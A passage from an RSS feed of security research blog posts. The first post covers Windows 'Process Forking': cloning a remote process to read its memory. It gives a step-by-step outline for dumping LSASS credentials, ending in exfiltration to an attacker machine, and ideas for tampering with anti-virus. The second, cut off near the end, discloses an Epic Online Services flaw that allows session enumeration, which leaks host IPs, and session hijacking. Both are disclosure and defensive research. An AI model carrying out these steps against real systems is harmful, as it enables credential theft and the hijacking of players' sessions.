the parent&apos;s thread handle. Although this variation of the technique does require that the parent have critical handles set to be inheritable; several common applications, such as Firefox and Chrome, have inheritable thread handles.</p><h2 id="ways-to-create-processes">Ways to Create Processes</h2><p>The previous section explored one existing attack that used the high-level kernel32.dll function CreateProcess, but this is not the only way to create a process. Kernel32 provides abstractions such as CreateProcess which allow developers to avoid having to use ntdll functions directly.</p><p>When taking a look under the hood, kernel32 uses ntdll functions and does much of the heavy lifting required to perform NtXx calls. CreateProcess uses NtCreateUserProcess, which has the following function prototype:</p><pre><code class="language-C">NTSTATUS NTAPI
NtCreateUserProcess (
    PHANDLE ProcessHandle,
    PHANDLE ThreadHandle,
    ACCESS_MASK ProcessDesiredAccess,
    ACCESS_MASK ThreadDesiredAccess,
    POBJECT_ATTRIBUTES ProcessObjectAttributes,
    POBJECT_ATTRIBUTES ThreadObjectAttributes,
    ULONG ProcessFlags,
    ULONG ThreadFlags,
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    PPROCESS_CREATE_INFO CreateInfo,
    PPROCESS_ATTRIBUTE_LIST AttributeList
    );</code></pre><p>NtCreateUserProcess is not the only low-level function exposed to create processes. There are two legacy alternatives: <code>NtCreateProcess</code> and <code>NtCreateProcessEx</code>. Their function prototypes are:</p><pre><code class="language-C">NTSTATUS NTAPI
NtCreateProcess (
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    BOOLEAN InheritObjectTable,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort
    );

NTSTATUS NTAPI
NtCreateProcessEx (
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    ULONG Flags,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    BOOLEAN InJob
    );</code></pre><p>NtCreateProcess and NtCreateProcessEx are quite similar but offer a different route of process creation when compared to NtCreateUserProcess.</p><h2 id="forking-your-own-process">Forking Your Own Process</h2><p>A lesser documented <em>limited</em> technique available to developers is the ability to fork processes on Windows. The undocumented function developers can use to fork their own process is RtlCloneUserProcess. This function does not directly call the kernel and instead is a wrapper around NtCreateUserProcess.</p><p>A minimal implementation of forking through NtCreateUserProcess can be achieved trivially. By calling NtCreateUserProcess with NULL for both object attribute arguments, NULL for the process parameters, an empty (but not NULL) create info argument, and a NULL attribute list; a fork of the current process will be created.</p><p>One question that arose when performing this research was: What is the difference between forking a process and creating a new process with handles inherited? Interestingly, the minimal forking mechanism present in Windows does not only include inheritable handles, but <em>private memory regions</em> too. Any dynamically allocated pages as part of the parent will be accessible at the same location in the child as well.</p><p>Both <a href="https://gist.github.com/Cr4sh/126d844c28a7fbfd25c6">RtlCloneUserProcess</a> and the <a href="https://github.com/Microwave89/createuserprocess/">minimal implementation</a> described are publicly known techniques for simulating fork on Windows, but is there any use forking provides to an attacker?</p><p>In 2019, Microsoft Research Labs published a paper named &quot;<a href="https://www.microsoft.com/en-us/research/publication/a-fork-in-the-road/">A fork() in the road</a>&quot;, which discussed how what used to be a &quot;clever hack&quot; has &quot;long outlived its usefulness and is now a liability&quot;. The paper discusses several areas, such as how fork is a &quot;terrible abstraction&quot; and how it compromises OS implementations. The section titled &quot;FORK IN THE MODERN ERA&quot; is particularly relevant:</p><blockquote><strong>Fork is insecure.</strong> By default, a forked child inherits everything from its parent, and <strong>the programmer is responsible for explicitly removing state that the child does not need</strong> by: closing file descriptors (or marking them as close-on-exec), <strong>scrubbing secrets from memory</strong>, isolating namespaces using unshare() [52], etc. From a security perspective, the inherit by-default behaviour of fork violates the principle of least privilege.</blockquote><p>This section covers the security risk that is posed by the ability to fork processes. Microsoft provides the example that a forked process &quot;inherits everything from its parent&quot; and that &quot;the programmer is responsible for explicitly removing state that the child does not need&quot;. What happens when the programmer is a malicious attacker?</p><h2 id="forking-a-remote-process">Forking a Remote Process</h2><p>I propose a new method of abusing the limited fork functionality present in Windows. Instead of forking your <em>own</em> process, what if you forked a <em>remote</em> process? If an attacker could fork a remote process, they would be able to gain insight into the target process without needing a sensitive process access right such as <code>PROCESS_VM_READ</code>, which could be monitored by anti-virus.</p><p>With only a <code>PROCESS_CREATE_PROCESS</code> handle, an attacker can fork or &quot;duplicate&quot; a process and access any secrets that are present in it. When using the legacy NtCreateProcess(Ex) variant, forking a remote process is relatively simple.</p><p>By passing NULL for the SectionHandle and a <code>PROCESS_CREATE_PROCESS</code> handle of the target for the ParentProcess arguments, a fork of the remote process will be created and an attacker will receive a handle to the forked process. Additionally, as long as the attacker does not create any threads, <em>no process creation callbacks will fire</em>. This means that an attacker could read the sensitive memory of the target and anti-virus wouldn&apos;t even know that the child process had been created.</p><p>When using the modern NtCreateUserProcess variant, all an attacker needs to do is use the previous minimal implementation of forking your own process but pass the target process handle as a PsAttributeParentProcess in the attribute list.</p><p>With the child handle, an attacker could read sensitive memory from the target application for a variety of purposes. In the following sections, we&apos;ll cover approaches to detection and an example of how an attacker could abuse this in a real attack.</p><h2 id="example-anti-virus-tampering">Example: Anti-Virus Tampering</h2><p>Some commercial anti-virus solutions may include self-integrity features designed to combat tampering and information disclosure. If an attacker could access the memory of the anti-virus process, it is possible that sensitive information about the system or the anti-virus itself could be abused.</p><p>With Process Forking, an attacker can gain access to both private memory and inheritable handles with only a <code>PROCESS_CREATE_PROCESS</code> handle to the victim process. A few examples of attacks include:</p><ol><li>An attacker could read the encryption keys that are used to communicate with a trusted anti-virus server to decrypt or potentially tamper with this line of communication. For example, an attacker could pose as a man-in-the-middle (MiTM) with these encryption keys to prevent the anti-virus client from communicating alerts or spoof server responses to further tamper with the client.</li><li>An attacker could gain access to sensitive information about the system that was provided by the kernel. This information could include data from kernel callbacks that an attacker otherwise would not have access to from usermode.</li><li>An attacker could gain access to any handle the anti-virus process holds that is marked as inheritable. For example, if the anti-virus protects certain files from being accessed, such as sensitive configuration files, an attacker may be able to inherit a handle opened by the anti-virus process itself to access that protected file.</li></ol><h2 id="example-credential-dumping">Example: Credential Dumping</h2><p>One obvious target for a stealthy memory reading technique such as this is the Local Security Authority Subsystem Service (LSASS). LSASS is often the target of attackers that wish to capture the credentials for the current machine.</p><p>In a typical attack, a malicious program such as <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> directly interfaces with LSASS on the victim machine, however, a stealthier alternative has been to dump the memory of LSASS for processing on an attacker machine. This is to avoid putting a well-known malicious program such as Mimikatz on the victim environment which is much more likely to be detected.</p><p>With Process Forking, an attacker can evade defensive solutions that monitor or prevent access to the LSASS process by dumping the memory of an LSASS fork instead:</p><ol><li>Set debug privileges for your current process if you are not already running as SYSTEM.</li><li>Open a file to write the memory dump to.</li><li>Create a fork child of LSASS.</li><li>Use the common <a href="https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump">MiniDumpWriteDump</a> API on the forked child.</li><li>Exfiltrate the dump file to an attacker machine for further processing.</li></ol><h2 id="proof-of-concept">Proof of Concept</h2><p>A simple proof-of-concept utility and library have been <a href="https://github.com/D4stiny/ForkPlayground">published on GitHub</a>.</p><h2 id="conclusion">Conclusion</h2><p>Process Forking still requires that an attacker would have access to the victim process in the default Windows security model. Process Forking does not break integrity boundaries and attackers are restricted to processes running at the same privilege level they are. What Process Forking does offer is a largely ignored alternative to handle rights that are known to be potentially malicious.</p><p>Remediation may be difficult depending on the context of the solution relying on handle callbacks. An anti-cheat defending a single process may be able to get away with stripping <code>PROCESS_CREATE_PROCESS</code> handles entirely, but anti-virus solutions protecting multiple processes attempting a similar fix could face compatibility issues. It is recommended that vendors who opt to strip this access right initially audit its usage within customer environments and limit the processes they protect as much as possible.</p><h2 id="didnt-i-see-this-on-twitter-yesterday">Didn&apos;t I see this on Twitter yesterday?</h2><figure class="kg-card kg-embed-card"><blockquote class="twitter-tweet"><p lang="en" dir="ltr">Did you know that it is possible to read memory using a PROCESS_CREATE_PROCESS handle? Just call NtCreateProcessEx to clone the target process (and its entire address space), and then read anything you want from there.&#x1F60E;</p>&#x2014; diversenok (@diversenok_zero) <a href="https://twitter.com/diversenok_zero/status/1463844989612568581?ref_src=twsrc%5Etfw">November 25, 2021</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</figure><p>Yesterday morning, I saw this interesting tweet from <a href="https://twitter.com/diversenok_zero">@diversenok_zero</a> explaining the same method discussed in this blog post.</p><p>One approach I like to take with new research or methods I find that I haven&apos;t investigated thoroughly yet is to generate a SHA256 hash of the idea and then post it somewhere publicly where the timestamp is recorded. This way, in cases like this where my research conflicts with what another researcher was working on, I can always prove I discovered the trick on a certain date. In this case, on June 19th 2021, I posted a <a href="https://gist.github.com/D4stiny/31c0523b5bb824085ceb809ed214f193/revisions">public GitHub gist</a> of the following SHA256 hash:</p><pre><code>D779D38405E8828F5CB27C2C3D75867C6A9AA30E0BD003FECF0401BFA6F9C8C7</code></pre><blockquote>You can read the memory of any process that you can open a PROCESS_CREATE_PROCESS handle to by calling NtCreateProcessEx using the process handle as the ParentHandle argument and providing NULL for the section argument.</blockquote><p>If you generate a SHA256 hash of the quote above, you&apos;ll notice it matches the one I publicly posted back in June.</p><p>I have been waiting to publish this research because I am currently in the process of responsibly disclosing the issue to vendors whose products are impacted by this attack. Since the core theory of my research was shared publicly by @diversenok_zero, I decided it would be alright to share what I found around the technique as well.</p>]]></content:encoded></item><item><title><![CDATA[Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service]]></title><description><![CDATA[<p><em>The opinions expressed in this publication are those of the authors. They do not reflect the opinions or views of my employer. All research was conducted independently.</em></p><p>As someone who enjoys games that involve logistics, a recently-released game caught my eye. That game was <a href="https://store.steampowered.com/app/526870/Satisfactory/">Satisfactory</a>, which is all about building</p>]]></description><link>https://billdemirkapi.me/insecure-by-design-epic-games-p2p-multiplayer-services/</link><guid isPermaLink="false">602771fbd8acfdb32a8770bd</guid><category><![CDATA[Insecure by Design]]></category><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Thu, 17 Dec 2020 16:07:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/epic-online-services.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/epic-online-services.png" alt="Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service"><p><em>The opinions expressed in this publication are those of the authors. They do not reflect the opinions or views of my employer. All research was conducted independently.</em></p><p>As someone who enjoys games that involve logistics, a recently-released game caught my eye. That game was <a href="https://store.steampowered.com/app/526870/Satisfactory/">Satisfactory</a>, which is all about building up a massive factory on an alien planet from nothing. Since I loved my time with <a href="https://store.steampowered.com/app/427520/Factorio/">Factorio</a>, another logistics-oriented game, Satisfactory seemed like a perfect fit!</p><p>Satisfactory had a unique feature that I rarely see in games today, peer-to-peer multiplayer sessions! Generally speaking, most games take the client-server approach of having dedicated servers serving multiple clients instead of the peer-to-peer model where clients serve each other.</p><p>I was curious to see how it worked under the hood. As a security researcher, one of my number one priorities is to always &quot;stay curious&quot; with anything I interact with. This was a perfect opportunity to exercise that curiosity!</p><h2 id="introduction">Introduction</h2><p>When analyzing the communication of any application, a great place to start is to attempt to intercept the HTTP traffic. Often times applications won&apos;t use an overly complicated protocol if they don&apos;t need to and web requests happen to be one of the most common ways of communicating. For intercepting not only plaintext traffic, I used <a href="https://www.telerik.com/download/fiddler">Fiddler by Telerik</a> which features a simple-to-use interface for intercepting HTTP(S) traffic. Fiddler took care of installing the root certificate it would use to issue certificates for websites automatically, but the question was if Satisfactory used a platform that had certificate pinning. Only one way to find out!</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/F2TGVfl.png" class="kg-image" alt="Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service" loading="lazy"></figure><p>Lucky for us, the game did not have any certificate pinning mechanism. The first two requests appeared to query the latest game news from <a href="https://www.coffeestainstudios.com/">Coffee Stain Games</a>, the creators of Satisfactory. I was sad to see that these requests were performed over HTTP, but fortunately did not contain sensitive information.</p><p>Taking a look at the other requests revealed that Satisfactory was authenticating with Epic Games. Perhaps they were using an Epic Games service for their multiplayer platform?</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/I9o5rJO.png" class="kg-image" alt="Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service" loading="lazy"></figure><p>In the first request to Epic Games&apos; API servers, there are a few interesting headers that indicate what service this could be in connection to. Specifically the User-Agent and Miscellaneous headers referred to something called &quot;EOS&quot;. A quick Google search revealed that this stood for Epic Online Services!</p><h2 id="discovery">Discovery</h2><p><a href="https://dev.epicgames.com/en-US/services">Epic Online Services</a> is intended to assist game developers in creating multiplayer-compatible games by offering a platform that supports many common multiplayer features. Whether it be matchmaking, lobbies, peer-to-peer functionality, etc; there are many attractive features the service offers to game developers.</p><p>Before we continue with any security review, it&apos;s important to have a basic conceptual understanding of the product you&apos;re reviewing. This context can be especially helpful in later stages when trying to understand the inner workings of the product.</p><p>First, let&apos;s take a look at how you authenticate with the Epic Online Services API (EOS-API). According to <a href="https://dev.epicgames.com/docs/services/en-US/DevPortal/ClientCredentials/index.html">documentation</a>, the EOS Client uses OAuth Client Credentials to authenticate with the EOS-API. Assuming you have already set up a project in the EOS Developer Portal, you can generate credentials for either the <code>GameServer</code> or <code>GameClient</code> role , which are expected to be hardcoded into the server/client binary:</p><blockquote>The EOS SDK requires a program to provide valid Client Credentials, including a Client ID and Client Secret. This information is passed in the the EOS_Platform_ClientCredentials structure, which is a parameter in the function EOS_Platform_Create. This enables the SDK to recognize the program as a valid EOS Client, authorize the Client with EOS, and grant access to the features enabled in the corresponding Client Role.</blockquote><p>I found it peculiar that the only &quot;client roles&quot; that existed were <code>GameServer</code> and <code>GameClient</code>. The <code>GameClient</code> role &quot;can access EOS information, but typically can&apos;t modify it&quot;, whereas the <code>GameServer</code> role &quot;is a server or secure backend intended for administrative purposes&quot;. If you&apos;re writing a peer-to-peer game, what role do you give clients?</p><p><code>GameClient</code> credentials won&apos;t work for hosting sessions, given that it&apos;s meant for read-only access, but &#xA0;<code>GameServer</code> credentials are only meant for &quot;a server or secure backend&quot;. A peer-to-peer client is neither a server nor anything I&apos;d call &quot;secure&quot;, but Epic Games effectively forces developers to embed <code>GameServer</code> credentials, because otherwise how can peer-to-peer clients host sessions?</p><p>The real danger here is that the documentation falsely assumes that if a client has <code>GameServer</code> role, &#xA0;it should be trusted, when in fact the client may be an untrusted P2P client. I was amused by the fact that Epic Games even gives an example of the problem with giving untrusted clients the <code>GameServer</code> role:</p><blockquote>The Client is a server or secure backend intended for administrative purposes. This type of Client can directly modify information on the EOS backend. <em>For example, an EOS Client with a role of GameServer could unlock Achievements for a player.</em></blockquote><p>Going back to those requests we intercepted earlier, the client credentials are pretty easy to extract.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/weJYaBj.png" class="kg-image" alt="Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service" loading="lazy"></figure><p>In the authentication request above, the client credentials are simply embedded as a Base64-encoded string in the Authorization header. Decoding this string provides a <code>username:password</code> combination, which represents the client credentials. With such little effort, we are able to obtain credentials for the <code>GameServer</code> role giving significant access to the backend used for Satisfactory. We&apos;ll take a look at what we can do with <code>GameServer</code> credentials in a later section.</p><p>Since we&apos;re interested in peer-to-peer sessions/matchmaking, the next place to look is the &quot;<a href="https://dev.epicgames.com/docs/services/en-US/Interfaces/Sessions/index.html">Sessions interface</a>&quot;, which &quot;gives players the ability to host, find, and interact with online gaming sessions&quot;. This Sessions interface can be obtained through the Platform interface function <code>EOS_Platform_GetSessionsInterface</code>. The core components of session creation that are high value targets include session creation, session discovery, and joining a session. Problems in these processes could have significant security impact.</p><h3 id="discovery-session-creation">Discovery: Session Creation</h3><p>The first process to look at is session creation. Creating a session with the Sessions interface is relatively simple.</p><p>First, you create a <code>EOS_Sessions_CreateSessionModificationOptions</code> structure that contains the following information:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/KjhgJXn.png" class="kg-image" alt="Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service" loading="lazy"></figure><p>Finally, you need to pass this structure to the <code>EOS_Sessions_CreateSessionModification</code> function to create the session. Although this function will end up creating your session, there is a significant amount you can configure about a session given that the initial structure passed only contains required information to create a barebone session.</p><h3 id="discovery-finding-sessions">Discovery: Finding Sessions</h3><p>For example, let&apos;s talk about how matchmaking works with these sessions. A major component of Sessions is the ability to add &quot;custom attributes&quot;:</p><blockquote>Sessions can contain user-defined data, called <strong>attributes</strong>. Each attribute has a name, which acts as a string key, a value, an enumerated variable identifying the value&apos;s type, and a visibility setting.</blockquote><p>These &quot;attributes&quot; are what allows developers to add custom information about a session, such as the map the session is for or what version the host is running at.</p><p>EOS makes session searching simple. Similar to session creation, to create a barebone &quot;session search&quot;, you simply call <code>EOS_Sessions_CreateSessionSearch</code> with a <code>EOS_Sessions_CreateSessionSearchOptions</code> structure. This structure has the minimum amount of information needed to perform a search, containing only the maximum number of search results to return.</p><p>Before performing a search, you can update the session search object to filter for specific properties. EOS allows you to search for session based on:</p><ul><li>A known unique session identifier (at least 16 characters in length).</li><li>A known unique user identifier.</li><li>Session Attributes.</li></ul><p>Although you can use a session identifier or a user identifier if you&apos;re joining a known specific session, for matchmaking purposes, attributes are the <strong>only</strong> way to &quot;discover&quot; sessions based on user-defined data.</p><h3 id="discovery-sensitive-information-disclosure">Discovery: Sensitive Information Disclosure</h3><p>Satisfactory isn&apos;t a matchmaking game and you&apos;d assume they&apos;d use the unique session identifier provided by the EOS-API. Unfortunately, until a month ago, EOS did not allow you to set a custom session identifier. Instead they forced game developers to use their randomly generated 32 character session ID.</p><p>When hosting a session in Satisfactory, hosts are given the option to set a custom session identifier. When joining a multiplayer session, besides joining via a friend, Satisfactory gives the option of using this session identifier to join sessions. How does this work in the background?</p><p>Although the EOS-API assigns a random session identifier to every newly created session, many implementations ignore it and choose to use attributes to store a session identifier. Being honest, who wants to share a random 32 character string with friends?</p><p>I decided the best way to figure out how Satisfactory handled unique session identifiers was to see what happens on the network when I attempt to join a custom session ID.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/ZNLSfiq.png" class="kg-image" alt="Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service" loading="lazy"></figure><p>Here is the request performed when I attempted to join a session with the identifier &quot;test123&quot;:</p><pre><code class="language-http">POST https://api.epicgames.dev/matchmaking/v1/[deployment id]/filter HTTP/1.1
Host: api.epicgames.dev
...headers removed...

{
  &quot;criteria&quot;: [
    {
      &quot;key&quot;: &quot;attributes.NUMPUBLICCONNECTIONS_l&quot;,
      &quot;op&quot;: &quot;GREATER_THAN_OR_EQUAL&quot;,
      &quot;value&quot;: 1
    },
    {
      &quot;key&quot;: &quot;bucket&quot;,
      &quot;op&quot;: &quot;EQUAL&quot;,
      &quot;value&quot;: &quot;Satisfactory_1.0.0&quot;
    },
    {
      &quot;key&quot;: &quot;attributes.FOSS=SES_CSS_SESSIONID_s&quot;,
      &quot;op&quot;: &quot;EQUAL&quot;,
      &quot;value&quot;: &quot;test123&quot;
    }
  ],
  &quot;maxResults&quot;: 2
}
</code></pre><p>Of course, this returned no valid sessions, but this request interestingly revealed that the mechanism used for finding sessions was based on a set of criteria. I was curious, how much flexibility did the EOS-API give the client when it comes to this criteria?</p><h3 id="exploitation-sensitive-information-disclosure">Exploitation: Sensitive Information Disclosure</h3><p>The first idea I had when I saw that filtering was based on an array of &quot;criteria&quot; was what happens when you specify <strong>no criteria</strong>? To my surprise, the EOS-API was quite accommodating:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/RPim6jd.png" class="kg-image" alt="Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service" loading="lazy"></figure><p>Although sessions in Satisfactory are advertised to be &quot;Friends-Only&quot;, I was able to enumerate all sessions that weren&apos;t set to &quot;Private&quot;. Along with each session, I am given the IP Address for the host and their user identifier. On a large-scale basis, an attacker could easily use this information to create a map of most players.</p><p>To be clear, this isn&apos;t just a Satisfactory issue. You can enumerate the sessions of any game you have at least <code>GameClient</code> credentials for. Obviously in a peer-to-peer model, other players have the potential to learn your IP Address, but the problem here is that it is very simple to enumerate the thousands of sessions active given that besides the initial authentication, there are literally no access controls (not even rate-limiting). Furthermore, to connect to another client through the EOS-API, you don&apos;t even need to have the IP Address of the host!</p><h3 id="discovery-session-hijacking">Discovery: Session Hijacking</h3><p>Going back to what we&apos;re really interested in, the peer-to-peer functionality of EOS, I was curious to learn what connecting to other clients actually looks like and what problems might exist with its design. Reading the &quot;<a href="https://dev.epicgames.com/docs/services/en-US/Interfaces/P2P/#sendingandreceivingdatathroughp2pconnections">Sending and Receiving Data Through P2P Connections</a>&quot; section of the NAT P2P Interface documentation reveals that to connect to another player, we need their:</p><ol><li>Product user ID - This &quot;identifies player data for an EOS user within the scope of a single product&quot;.</li><li>Optional socket ID - This is a unique identifier for the specific socket to connect to. In common implementations of EOS, this is typically the randomly generated 32 character &quot;session identifier&quot;.</li></ol><p>Now that we know what data we need, the next step is understanding how the game itself shares these details between players.</p><p>One of the key features of the EOS Matchmaking/Session API we took a look at in a previous section is the existence of &quot;Attributes&quot;, described by documentation to be a critical part of session discovery:</p><blockquote>The most robust way to find sessions is to search based on a set of search parameters, which act as filters. Some parameters could be exposed to the user, such as enabling the user to select a certain game type or map, while others might be hidden, such as using the player&apos;s estimated skill level to find matches with appropriate opponents.</blockquote><p>For peer-to-peer sessions, attributes are even more important, because they are the <em>only</em> way of carrying information about a session to other players. For a player to join another&apos;s peer-to-peer session, they need to retrieve the host&apos;s product user ID and an optional socket ID. Most implementations of Epic Online Services store this product user ID in the session&apos;s attributes. Of course, only clients with the &#xA0;<code>GameServer</code> &#xA0;role are allowed to create sessions and/or modify its attributes.</p><h3 id="exploitation-session-hijacking">Exploitation: Session Hijacking</h3><p>Recalling the first section, the core vulnerability and fundamental design flaw with EOS is that P2P games are required to embed &#xA0;<code>GameServer</code> &#xA0;credentials into their application. This means that theoretically speaking, an attacker can create a fake session with any attribute values they&apos;d like. This got me thinking: if attributes are the primary way clients find sessions to join, then with &#xA0;<code>GameServer</code> &#xA0;credentials we can effectively &quot;duplicate&quot; existing sessions and potentially hijack the session clients find when searching for the original session.</p><p>Sound confusing? It is! Let&apos;s talk through a real-world example.</p><p>One widely used implementation of Epic Online Services is the &quot;OnlineSubsystemEOS&quot; (EOS-OSS) included with the Unreal Engine. This plugin is a very popular implementation widely used by games such as Satisfactory.</p><p>In Satisfactory&apos;s use of EOS-OSS, they use an attribute named <code>SES_CSS_SESSIONID</code> to track sessions. For example, if a player wanted their friend to join directly, they could give their friend a session ID from their client which the friend would be able to use to join. When the session ID search is executed, all that&apos;s happening is a filter query against all sessions for that session ID attribute value. Once the session has been found, EOS-OSS joins the session by retrieving the required product user ID of the host through another session attribute named <code>OWNINGPRODUCTID</code>.</p><p>Since Satisfactory is a peer-to-peer game exclusively using the Epic Online Services API, an attacker can use the credentials embedded in the binary to get access to the &#xA0;<code>GameServer</code> &#xA0;role. With a &#xA0;<code>GameServer</code> &#xA0;token, an attacker can hijack existing sessions by creating several &quot;duplicate&quot; sessions that have the same session ID attribute, however, &#xA0;<em>have the <code>OWNINGPRODUCTID</code> attribute set to their own product user ID</em>.</p><p>When a victim executes a search for the session with the right session ID, more likely than not, the query will return one of the duplicated sessions that has the attacker&apos;s product user ID (ordering of sessions is random). Thus, when the victim attempts to join the game, they will join the attacker&apos;s game instead!</p><!--kg-card-begin: html--><iframe width="560" height="315" src="https://www.youtube.com/embed/NCjuNnqin9Y" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><!--kg-card-end: html--><p>This attack is quite more severe than it may seem, because it is trivial to script this attack to hijack all sessions at once and cause all players joining <em>any</em> session to join the attacker&apos;s session instead. To summarize, this fundamental design flaw allows attackers to:</p><ol><li>Hijack <em>any or all</em> &quot;matchmaking sessions&quot; and have any player that joins a session join an attacker&apos;s session instead.</li><li>Prevent players from joining any &quot;matchmaking session&quot;.</li></ol><h2 id="remediation">Remediation</h2><p>When it comes to communication, Epic Games was one of the best vendors I have ever worked with. Epic Games consistently responded promptly, showed a high level of respect for my time, and was willing to extensively discuss the vulnerability. I can confidently say that the security team there is very competent and that I have no doubt of their skill. When it comes to actually &quot;getting things done&quot; and fixing these vulnerabilities, the response was questionable.</p><p>To my knowledge:</p><ol><li>Epic Games has partially* remediated the sensitive information disclosure vulnerability, opting to use a custom addressing format for peer-to-peer hosts instead of exposing their real IP Address in the <code>ADDRESS</code> session attribute.</li><li>Epic Games has not remediated the session hijacking issue, however, they have released a new &quot;Client Policy&quot; mechanism, including a <code>Peer2Peer</code> policy intended for &quot;untrusted client applications that want to host multiplayer matches&quot;. In practice, the only impact to the vulnerability is that there is an extra layer of authentication to perform it, requiring that the attacker be a user of the game (in contrast to only having client credentials). Epic Games has noted that they plan to &quot;release additional tools to developers in future updates to the SDK, allowing them to further secure their products&quot;.</li></ol><p>* If a new session does not set its own <code>ADDRESS</code> attribute, the EOS-API will automatically set their public IP Address as the <code>ADDRESS</code> attribute.</p><p>Instead of fixing the severe design flaw, Epic Games has opted to update their documentation with several warnings about how to use EOS correctly and add trivial obstacles for an attacker (i.e the user authentication required for session hijacking). Regardless of their warnings, the vulnerability is still in full effect. Here are a list of various notices Epic Games has placed in their documentation:</p><ol><li>In the documentation for the <a href="https://dev.epicgames.com/docs/services/en-US/Interfaces/Sessions/index.html">Session interface</a>, Epic Games has placed several warnings all stating that attackers can leak the IP Address of a peer-to-peer host or server.</li><li>Epic Games has created a brand new <a href="https://dev.epicgames.com/docs/services/en-US/Interfaces/Sessions/MatchmakingSecurity/index.html">Matchmaking Security</a> page which is a sub-page of the Session interface outlining:</li></ol><ul><li>Attackers may be able to access the IP Address and product user ID of a session host.</li><li>Attackers may be able to access any custom attributes set by game developers for a session.</li><li>Some &quot;best practices&quot; such as only expose information you need to expose.</li></ul><ol><li>Epic Games has transitioned to a new <a href="https://dev.epicgames.com/docs/services/en-US/DevPortal/ClientCredentials/index.html">Client Policy</a> model for authentication, including policies for untrusted clients.</li></ol><h3 id="can-this-really-be-fixed">Can this really be fixed?</h3><p>I&apos;d like to give Epic Games every chance to explain themselves with these questionable remediation choices. Here is the statement they made after reviewing this article.</p><blockquote>Regarding P2P matchmaking, the issues you&#x2019;ve outlined are faced by nearly all service providers in the gaming industry - at its core P2P is inherently insecure. The EOS matchmaking implementation follows industry standard practices. It&apos;s ultimately up to developers to implement appropriate checks to best suit their product. As previously mentioned, we are always working to improve the security around our P2P policy and all of our other matchmaking policies.</blockquote><p>Unfortunately, I have a lot of problems with this statement:</p><ol><li>Epic Games erroneously included the IP Address of peers in the session attributes, even though this information was never required in the first place. Exposing PII unnecessarily is certainly not an industry standard. At the end of the day, an attacker can likely figure out the IP of a client if they have their product user ID and socket ID, but Epic Games made it trivial for an attacker to enumerate and map an entire games&apos; matchmaking system by including that unnecessary info.</li><li>&quot;<em>The EOS matchmaking implementation follows industry standard practices</em>&quot;: The only access control present is a single layer of authentication...</li><li>Epic Games has yet to implement common mitigations such as rate-limiting.</li><li>There are an insane number of ways to insecurely implement Epic Online Services and Epic Games has documented none of these cases or how to defend against them. A great example is when games like Satisfactory store sensitive information like a session ID in the session&apos;s attributes.</li><li>The claim that the Session Hijacking issue cannot be remediated because &quot;P2P is inherently insecure&quot; is simply not true. It&apos;s not like you can&apos;t trust the central EOS-API server. &#xA0;Here is what Epic could do to remediate the Session Hijacking vulnerability:</li></ol><ul><li>A large requirement about the session hijacking attack is that an attacker must create multiple duplicate sessions that match the given attributes. An effective remediation is to limit the number of concurrent sessions a single user can have at once.</li><li>To prevent attackers from using multiple accounts to hijack a session to a singular session, Epic Games could enforce that the product user ID stored in the session <em>must</em> match the product user ID of the token the client is authenticating with.</li><li>To be clear, if Epic Games applied my suggested path of remediation, an attacker could still buy 10-20 copies of the game on different accounts to perform the attack on a small-scale. A large-scale attack would require thousands of copies to create enough fake hijacking sessions.</li><li>The point with this path of remediation is that it would <em>significantly</em> reduce the exploitability of this vulnerability, much more than a single layer of authentication provides.</li></ul><p>Epic Games has yet to comment on these suggestions.</p><h3 id="but-why">But... why?</h3><p>When I first came across the design flaw that peer-to-peer games are required to embed <code>GameServer</code> credentials, I was curious to how such a fundamental flaw could have gotten past the initial design stage and decided to investigate.</p><p>After comparing the <a href="https://web.archive.org/web/20190709191905/https://dev.epicgames.com/en-US/services">EOS landing page from its initial release in 2019</a> to the current page, it turns out that peer-to-peer functionality was <em>not in the original release of Epic Online Services</em>, but the <code>GameClient</code> and <code>GameServer</code> authentication model was!</p><p>It appears as though Epic Games simply didn&apos;t consider adding a new role dedicated for peer-to-peer hosts when designing the peer-to-peer functionality of the EOS-API.</p><h3 id="timeline">Timeline</h3><p>The timeline for this vulnerability is the following:</p><p>07/23/2020 - The vulnerability is reported to Epic Games.<br>07/28/2020 - The vulnerability is reproduced by HackerOne&apos;s triage team.<br>08/11/2020 - The vulnerability is officially triaged by Epic Games.<br>08/20/2020 - A disclosure timeline of 135 days is negotiated (for release in December 2020).<br>11/08/2020 - New impact/attack scenarios that are a result of this vulnerability are shared with Epic Games.<br>12/02/2020 - The vulnerability severity is escalated to Critical.<br>12/03/2020 - This publication is shared with Epic Games for review.<br>12/17/2020 - This publication is released to the public.</p><h2 id="frequently-asked-questions">Frequently Asked Questions</h2><p><strong>Am I vulnerable?</strong><br>If your game uses Epic Online Services, specifically its peer-to-peer or session/matchmaking functionality, you are likely vulnerable to some of the issues discussed in this article.</p><p>Epic Games has not 